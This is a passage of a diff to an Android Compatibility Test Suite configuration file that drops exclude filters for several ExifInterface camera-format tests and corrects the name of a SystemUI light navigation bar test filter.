-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testDoNotFailOnCorruptedImage" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromVolantisJpg" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromSonyRX100Arw" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromCanonG7XCr2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromFujiX20Raf" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromNikon1AW1Nef" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromNikonP330Nrw" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromOlympusEPL3Orf" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromPanasonicGM5Rw2" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromPentaxK5Pef" />
-    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.ExifInterfaceTest#testReadExifDataFromSamsungNX3000Srw" />
-
     <!-- b/25651805 -->
     <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.ConnectivityManagerTest#testRestrictedNetworks" />
     <!-- b/18682315 -->
@@ -182,7 +166,7 @@
     <option name="compatibility:exclude-filter" value="CtsVideoTestCases android.video.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080" />
 
     <!-- b/37545399 -->
-    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts#testLightNavigationBar" />
+    <option name="compatibility:exclude-filter" value="CtsSystemUiTestCases android.systemui.cts.LightBarTests#testLightNavigationBar" />
 
     <!-- b/37482372 -->
     <option name="compatibility:exclude-filter" value="CtsPreference2TestCases android.preference2.cts.PreferenceActivityFlowPortraitTest#multiWindowHistoryPreservePortraitTest" />